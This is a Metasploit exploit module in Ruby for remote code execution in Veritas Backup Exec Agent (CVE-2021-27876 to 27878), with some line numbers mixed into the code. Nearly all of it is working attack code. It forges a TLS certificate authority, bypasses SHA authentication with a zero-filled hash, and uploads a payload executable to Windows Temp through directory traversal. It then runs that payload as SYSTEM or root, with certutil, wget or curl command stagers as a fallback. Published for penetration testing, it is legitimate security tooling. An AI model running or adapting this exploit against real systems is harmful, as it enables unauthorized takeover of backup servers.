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# frozen_string_literal: true
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
7

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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::NDMPSocket
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  include Msf::Exploit::CmdStager
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  include Msf::Exploit::EXE
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Veritas Backup Exec Agent Remote Code Execution',
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        'Description' => %q{
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          Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them.
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          This authentication scheme is no longer used within Backup Exec versions, but hadn’t yet been disabled.
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          An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to
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          the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges
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          depending on the platform.
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          The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and
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          including Backup Exec Remote Agent revision 9.3)
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        },
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        'License' => MSF_LICENSE,
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        'Author' => ['Alexander Korotin <0xc0rs[at]gmail.com>'],
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        'References' => [
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          ['CVE', '2021-27876'],
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          ['CVE', '2021-27877'],
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          ['CVE', '2021-27878'],
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          ['URL', 'https://www.veritas.com/content/support/en_US/security/VTS21-001']
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        ],
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        'Platform' => %w[win linux],
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        'Targets' => [
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          [
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            'Windows',
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            {
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              'Platform' => 'win',
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              'Arch' => [ARCH_X86, ARCH_X64],
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              'CmdStagerFlavor' => %w[certutil vbs psh_invokewebrequest debug_write debug_asm]
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            }
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          ],
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          [
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            'Linux',
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            {
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              'Platform' => 'linux',
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              'Arch' => [ARCH_X86, ARCH_X64],
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              'CmdStagerFlavor' => %w[bourne wget curl echo]
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            }
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          ]
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        ],
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        'DefaultOptions' => {
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          'RPORT' => 10_000
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        },
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        'Privileged' => true,
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        'DisclosureDate' => '2021-03-01',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => [UNRELIABLE_SESSION],
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
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        }
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      )
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    )
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    register_options([
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      OptString.new('SHELL', [true, 'The shell for executing OS command', '/bin/bash'],
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                    conditions: ['TARGET', '==', 'Linux'])
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    ])
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    deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
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  end
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  def execute_command(cmd, opts = {})
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    case target.opts['Platform']
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    when 'win'
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      wrap_cmd = "C:\\Windows\\System32\\cmd.exe /c \"#{cmd}\""
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    when 'linux'
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      wrap_cmd = "#{datastore['SHELL']} -c \"#{cmd}\""
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    end
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    ndmp_sock = opts[:ndmp_sock]
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    ndmp_sock.do_request_response(
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      NDMP::Message.new_request(
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        NDMP_EXECUTE_COMMAND,
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        NdmpExecuteCommandReq.new({ cmd: wrap_cmd, unknown: 0 }).to_xdr
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      )
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    )
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  end
95

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  def exploit
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    print_status('Exploiting ...')
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    ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
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    fail_with(Msf::Module::Failure::NotFound, "Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status
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102
    ndmp_status, msg_fail_reason = tls_enabling(ndmp_sock)
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    fail_with(Msf::Module::Failure::UnexpectedReply, "Can not establish TLS connection. #{msg_fail_reason}") unless ndmp_status
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    ndmp_status, msg_fail_reason = sha_authentication(ndmp_sock)
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    fail_with(Msf::Module::Failure::NotVulnerable, "Can not authenticate with SHA. #{msg_fail_reason}") unless ndmp_status
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108
    if target.opts['Platform'] == 'win'
109
      filename = "#{rand_text_alpha(8)}.exe"
110
      ndmp_status, msg_fail_reason = win_write_upload(ndmp_sock, filename)
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      if ndmp_status
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        ndmp_status, msg_fail_reason = exec_win_command(ndmp_sock, filename)
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        fail_with(Msf::Module::Failure::PayloadFailed, "Can not execute payload. #{msg_fail_reason}") unless ndmp_status
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      else
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        print_status('Can not upload payload with NDMP_FILE_WRITE packet. Trying to upload with CmdStager')
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        execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })
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      end
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    else
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      print_status('Uploading payload with CmdStager')
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      execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })
121
    end
122
  end
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124
  def check
125
    print_status('Checking vulnerability')
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127
    ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect
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    return Exploit::CheckCode::Unknown("Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status
129

130
    print_status('Getting supported authentication types')
131
    ndmp_msg = ndmp_sock.do_request_response(
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      NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)
133
    )
134
    ndmp_payload = NdmpConfigGetServerInfoRes.from_xdr(ndmp_msg.body)
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    print_status("Supported authentication by BE agent: #{ndmp_payload.auth_types.map do |k, _|
136
                                                            "#{AUTH_TYPES[k]} (#{k})"
137
                                                          end.join(', ')}")
138
    print_status("BE agent revision: #{ndmp_payload.revision}")
139

140
    if ndmp_payload.auth_types.include?(5)
141
      Exploit::CheckCode::Appears('SHA authentication is enabled')
142
    else
143
      Exploit::CheckCode::Safe('SHA authentication is disabled')
144
    end
145
  end
146

147
  def ndmp_connect
148
    print_status('Connecting to BE Agent service')
149
    ndmp_msg = nil
150
    begin
151
      ndmp_sock = NDMP::Socket.new(connect)
152
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout,
153
           Rex::ConnectionRefused => e
154
      return [false, nil, e.to_s]
155
    end
156
    begin
157
      Timeout.timeout(datastore['ConnectTimeout']) do
158
        ndmp_msg = ndmp_sock.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)
159
      end
160
    rescue Timeout::Error
161
      return [false, nil, 'No NDMP_NOTIFY_CONNECTED (0x502) packet from BE Agent service']
162
    else
163
      ndmp_payload = NdmpNotifyConnectedRes.from_xdr(ndmp_msg.body)
164
    end
165

166
    ndmp_msg = ndmp_sock.do_request_response(
167
      NDMP::Message.new_request(
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        NDMP::Message::CONNECT_OPEN,
169
        NdmpConnectOpenReq.new({ version: ndmp_payload.version }).to_xdr
170
      )
171
    )
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173
    ndmp_payload = NdmpConnectOpenRes.from_xdr(ndmp_msg.body)
174
    unless ndmp_payload.err_code.zero?
175
      return [false, ndmp_sock, "Error code of NDMP_CONNECT_OPEN (0x900) packet: #{ndmp_payload.err_code}"]
176
    end
177

178
    [true, ndmp_sock, nil]
179
  end
180

181
  def tls_enabling(ndmp_sock)
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    print_status('Enabling TLS for NDMP connection')
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    ndmp_tls_certs = NdmpTlsCerts.new('VeritasBE', datastore['RHOSTS'].to_s)
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    ndmp_tls_certs.forge_ca
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    ndmp_msg = ndmp_sock.do_request_response(
186
      NDMP::Message.new_request(
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        NDMP_SSL_HANDSHAKE,
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        NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_REQ])).to_xdr
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      )
190
    )
191
    ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
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    unless ndmp_payload.err_code.zero?
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      return [false, "Error code of SSL_HANDSHAKE_CSR_REQ (2) packet: #{ndmp_payload.err_code}"]
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    end
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196
    ndmp_tls_certs.sign_agent_csr(ndmp_payload.data)
197

198
    ndmp_msg = ndmp_sock.do_request_response(
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      NDMP::Message.new_request(
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        NDMP_SSL_HANDSHAKE,
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        NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED])).to_xdr
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      )
203
    )
204
    ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
205
    unless ndmp_payload.err_code.zero?
206
      return [false, "Error code of SSL_HANDSHAKE_CSR_SIGNED (3) packet: #{ndmp_payload.err_code}"]
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    end
208

209
    ndmp_msg = ndmp_sock.do_request_response(
210
      NDMP::Message.new_request(
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        NDMP_SSL_HANDSHAKE,
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        NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CONNECT])).to_xdr
213
      )
214
    )
215
    ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)
216
    unless ndmp_payload.err_code.zero?
217
      return [false, "Error code of SSL_HANDSHAKE_CONNECT (4) packet: #{ndmp_payload.err_code}"]
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    end
219

220
    ssl_context = OpenSSL::SSL::SSLContext.new
221
    ssl_context.add_certificate(ndmp_tls_certs.ca_cert, ndmp_tls_certs.ca_key)
222
    ndmp_sock.wrap_with_ssl(ssl_context)
223
    [true, nil]
224
  end
225

226
  def sha_authentication(ndmp_sock)
227
    print_status('Passing SHA authentication')
228
    ndmp_msg = ndmp_sock.do_request_response(
229
      NDMP::Message.new_request(
230
        NDMP_CONFIG_GET_AUTH_ATTR,
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        NdmpConfigGetAuthAttrReq.new({ auth_type: 5 }).to_xdr
232
      )
233
    )
234
    ndmp_payload = NdmpConfigGetAuthAttrRes.from_xdr(ndmp_msg.body)
235
    unless ndmp_payload.err_code.zero?
236
      return [false, "Error code of NDMP_CONFIG_GET_AUTH_ATTR (0x103) packet: #{ndmp_payload.err_code}"]
237
    end
238

239
    ndmp_msg = ndmp_sock.do_request_response(
240
      NDMP::Message.new_request(
241
        NDMP::Message::CONNECT_CLIENT_AUTH,
242
        NdmpConnectClientAuthReq.new(
243
          {
244
            auth_type: 5,
245
            username: 'Administrator', # Doesn't metter
246
            hash: Digest::SHA256.digest("\x00" * 64 + ndmp_payload.challenge)
247
          }
248
        ).to_xdr
249
      )
250
    )
251
    ndmp_payload = NdmpConnectClientAuthRes.from_xdr(ndmp_msg.body)
252
    unless ndmp_payload.err_code.zero?
253
      return [false, "Error code of NDMP_CONECT_CLIENT_AUTH (0x901) packet: #{ndmp_payload.err_code}"]
254
    end
255

256
    [true, nil]
257
  end
258

259
  def win_write_upload(ndmp_sock, filename)
260
    print_status('Uploading payload with NDMP_FILE_WRITE packet')
261
    ndmp_msg = ndmp_sock.do_request_response(
262
      NDMP::Message.new_request(
263
        NDMP_FILE_OPEN_EXT,
264
        NdmpFileOpenExtReq.new(
265
          {
266
            filename: filename,
267
            dir: '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp',
268
            mode: 4
269
          }
270
        ).to_xdr
271
      )
272
    )
273
    ndmp_payload = NdmpFileOpenExtRes.from_xdr(ndmp_msg.body)
274
    unless ndmp_payload.err_code.zero?
275
      return [false, "Error code of NDMP_FILE_OPEN_EXT (0xf308) packet: #{ndmp_payload.err_code}"]
276
    end
277

278
    hnd = ndmp_payload.handler
279
    exe = generate_payload_exe
280
    offset = 0
281
    block_size = 2048
282

283
    while offset < exe.length
284
      ndmp_msg = ndmp_sock.do_request_response(
285
        NDMP::Message.new_request(
286
          NDMP_FILE_WRITE,
287
          NdmpFileWriteReq.new({ handler: hnd, len: block_size, data: exe[offset, block_size] }).to_xdr
288
        )
289
      )
290
      ndmp_payload = NdmpFileWriteRes.from_xdr(ndmp_msg.body)
291
      unless ndmp_payload.err_code.zero?
292
        return [false, "Error code of NDMP_FILE_WRITE (0xF309) packet: #{ndmp_payload.err_code}"]
293
      end
294

295
      offset += block_size
296
    end
297

298
    ndmp_msg = ndmp_sock.do_request_response(
299
      NDMP::Message.new_request(
300
        NDMP_FILE_CLOSE,
301
        NdmpFileCloseReq.new({ handler: hnd }).to_xdr
302
      )
303
    )
304
    ndmp_payload = NdmpFileCloseRes.from_xdr(ndmp_msg.body)
305
    unless ndmp_payload.err_code.zero?
306
      return [false, "Error code of NDMP_FILE_CLOSE (0xF306) packet: #{ndmp_payload.err_code}"]
307
    end
308

309
    [true, nil]
310
  end
311

312
  def exec_win_command(ndmp_sock, filename)
313
    cmd = "C:\\Windows\\System32\\cmd.exe /c \"C:\\Windows\\Temp\\#{filename}\""
314
    ndmp_msg = ndmp_sock.do_request_response(
315
      NDMP::Message.new_request(
316
        NDMP_EXECUTE_COMMAND,
317
        NdmpExecuteCommandReq.new({ cmd: cmd, unknown: 0 }).to_xdr
318
      )
319
    )
320
    ndmp_payload = NdmpExecuteCommandRes.from_xdr(ndmp_msg.body)
321
    unless ndmp_payload.err_code.zero?
322
      return [false, "Error code of NDMP_EXECUTE_COMMAND (0xF30F) packet: #{ndmp_payload.err_code}"]
323
    end
324

325
    [true, nil]
326
  end
327

328
  # Class to create CA and client certificates
329
  class NdmpTlsCerts
330
    def initialize(hostname, ip)
331
      @hostname = hostname
332
      @ip = ip
333
      @ca_key = nil
334
      @ca_cert = nil
335
      @be_agent_cert = nil
336
    end
337

338
    SSL_HANDSHAKE_TYPES = {
339
      SSL_HANDSHAKE_TEST_CERT: 1,
340
      SSL_HANDSHAKE_CSR_REQ: 2,
341
      SSL_HANDSHAKE_CSR_SIGNED: 3,
342
      SSL_HANDSHAKE_CONNECT: 4
343
    }.freeze
344

345
    attr_reader :ca_cert, :ca_key
346

347
    def forge_ca
348
      @ca_key = OpenSSL::PKey::RSA.new(2048)
349
      @ca_cert = OpenSSL::X509::Certificate.new
350
      @ca_cert.version = 2
351
      @ca_cert.serial = rand(2**32..2**64 - 1)
352
      @ca_cert.subject = @ca_cert.issuer = OpenSSL::X509::Name.parse("/CN=#{@hostname}")
353
      extn_factory = OpenSSL::X509::ExtensionFactory.new(@ca_cert, @ca_cert)
354
      @ca_cert.extensions = [
355
        extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
356
        extn_factory.create_extension('basicConstraints', 'CA:TRUE'),
357
        extn_factory.create_extension('keyUsage', 'keyCertSign, cRLSign')
358
      ]
359
      @ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always'))
360
      @ca_cert.public_key = @ca_key.public_key
361
      @ca_cert.not_before = Time.now - 7 * 60 * 60 * 24
362
      @ca_cert.not_after = Time.now + 14 * 24 * 60 * 60
363
      @ca_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
364
    end
365

366
    def sign_agent_csr(csr)
367
      o_csr = OpenSSL::X509::Request.new(csr)
368
      @be_agent_cert = OpenSSL::X509::Certificate.new
369
      @be_agent_cert.version = 2
370
      @be_agent_cert.serial = rand(2**32..2**64 - 1)
371
      @be_agent_cert.not_before = Time.now - 7 * 60 * 60 * 24
372
      @be_agent_cert.not_after = Time.now + 14 * 24 * 60 * 60
373
      @be_agent_cert.issuer = @ca_cert.subject
374
      @be_agent_cert.subject = o_csr.subject
375
      @be_agent_cert.public_key = o_csr.public_key
376
      @be_agent_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))
377
    end
378

379
    def default_sslpacket_content(ssl_packet_type)
380
      if ssl_packet_type == SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED]
381
        ca_cert = @ca_cert.to_s
382
        agent_cert = @be_agent_cert.to_s
383
      else
384
        ca_cert = ''
385
        agent_cert = ''
386
      end
387
      {
388
        ssl_packet_type: ssl_packet_type,
389
        hostname: @hostname,
390
        nb_hostname: @hostname.upcase,
391
        ip_addr: @ip,
392
        cert_id1: get_cert_id(@ca_cert),
393
        cert_id2: get_cert_id(@ca_cert),
394
        unknown1: 0,
395
        unknown2: 0,
396
        ca_cert_len: ca_cert.length,
397
        ca_cert: ca_cert,
398
        agent_cert_len: agent_cert.length,
399
        agent_cert: agent_cert
400
      }
401
    end
402

403
    def get_cert_id(cert)
404
      Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack1('L<')
405
    end
406
  end
407

408
  NDMP_CONFIG_GET_AUTH_ATTR = 0x103
409
  NDMP_SSL_HANDSHAKE = 0xf383
410
  NDMP_EXECUTE_COMMAND = 0xf30f
411
  NDMP_FILE_OPEN_EXT = 0xf308
412
  NDMP_FILE_WRITE = 0xF309
413
  NDMP_FILE_CLOSE = 0xF306
414

415
  AUTH_TYPES = {
416
    1 => 'Text',
417
    2 => 'MD5',
418
    3 => 'BEWS',
419
    4 => 'SSPI',
420
    5 => 'SHA',
421
    190 => 'BEWS2' # 0xBE
422
  }.freeze
423

424
  # Responce packets
425
  class NdmpNotifyConnectedRes < XDR::Struct
426
    attribute :connected, XDR::Int
427
    attribute :version, XDR::Int
428
    attribute :reason, XDR::Int
429
  end
430

431
  class NdmpConnectOpenRes < XDR::Struct
432
    attribute :err_code, XDR::Int
433
  end
434

435
  class NdmpConfigGetServerInfoRes < XDR::Struct
436
    attribute :err_code, XDR::Int
437
    attribute :vendor_name, XDR::String[]
438
    attribute :product_name, XDR::String[]
439
    attribute :revision, XDR::String[]
440
    attribute :auth_types, XDR::VarArray[XDR::Int]
441
  end
442

443
  class NdmpConfigGetHostInfoRes < XDR::Struct
444
    attribute :err_code, XDR::Int
445
    attribute :hostname, XDR::String[]
446
    attribute :os, XDR::String[]
447
    attribute :os_info, XDR::String[]
448
    attribute :ip, XDR::String[]
449
  end
450

451
  class NdmpSslHandshakeRes < XDR::Struct
452
    attribute :data_len, XDR::Int
453
    attribute :data, XDR::String[]
454
    attribute :err_code, XDR::Int
455
    attribute :unknown4, XDR::String[]
456
  end
457

458
  class NdmpConfigGetAuthAttrRes < XDR::Struct
459
    attribute :err_code, XDR::Int
460
    attribute :auth_type, XDR::Int
461
    attribute :challenge, XDR::Opaque[64]
462
  end
463

464
  class NdmpConnectClientAuthRes < XDR::Struct
465
    attribute :err_code, XDR::Int
466
  end
467

468
  class NdmpExecuteCommandRes < XDR::Struct
469
    attribute :err_code, XDR::Int
470
  end
471

472
  class NdmpFileOpenExtRes < XDR::Struct
473
    attribute :err_code, XDR::Int
474
    attribute :handler, XDR::Int
475
  end
476

477
  class NdmpFileWriteRes < XDR::Struct
478
    attribute :err_code, XDR::Int
479
    attribute :recv_len, XDR::Int
480
    attribute :unknown, XDR::Int
481
  end
482

483
  class NdmpFileCloseRes < XDR::Struct
484
    attribute :err_code, XDR::Int
485
  end
486

487
  # Request packets
488
  class NdmpConnectOpenReq < XDR::Struct
489
    attribute :version, XDR::Int
490
  end
491

492
  class NdmpSslHandshakeReq < XDR::Struct
493
    attribute :ssl_packet_type, XDR::Int
494
    attribute :nb_hostname, XDR::String[]
495
    attribute :hostname, XDR::String[]
496
    attribute :ip_addr, XDR::String[]
497
    attribute :cert_id1, XDR::Int
498
    attribute :cert_id2, XDR::Int
499
    attribute :unknown1, XDR::Int
500
    attribute :unknown2, XDR::Int
501
    attribute :ca_cert_len, XDR::Int
502
    attribute :ca_cert, XDR::String[]
503
    attribute :agent_cert_len, XDR::Int
504
    attribute :agent_cert, XDR::String[]
505
  end
506

507
  class NdmpConfigGetAuthAttrReq < XDR::Struct
508
    attribute :auth_type, XDR::Int
509
  end
510

511
  class NdmpConnectClientAuthReq < XDR::Struct
512
    attribute :auth_type, XDR::Int
513
    attribute :username, XDR::String[]
514
    attribute :hash, XDR::Opaque[32]
515
  end
516

517
  class NdmpExecuteCommandReq < XDR::Struct
518
    attribute :cmd, XDR::String[]
519
    attribute :unknown, XDR::Int
520
  end
521

522
  class NdmpFileOpenExtReq < XDR::Struct
523
    attribute :filename, XDR::String[]
524
    attribute :dir, XDR::String[]
525
    attribute :mode, XDR::Int
526
  end
527

528
  class NdmpFileWriteReq < XDR::Struct
529
    attribute :handler, XDR::Int
530
    attribute :len, XDR::Int
531
    attribute :data, XDR::String[]
532
  end
533

534
  class NdmpFileCloseReq < XDR::Struct
535
    attribute :handler, XDR::Int
536
  end
537
end
538

539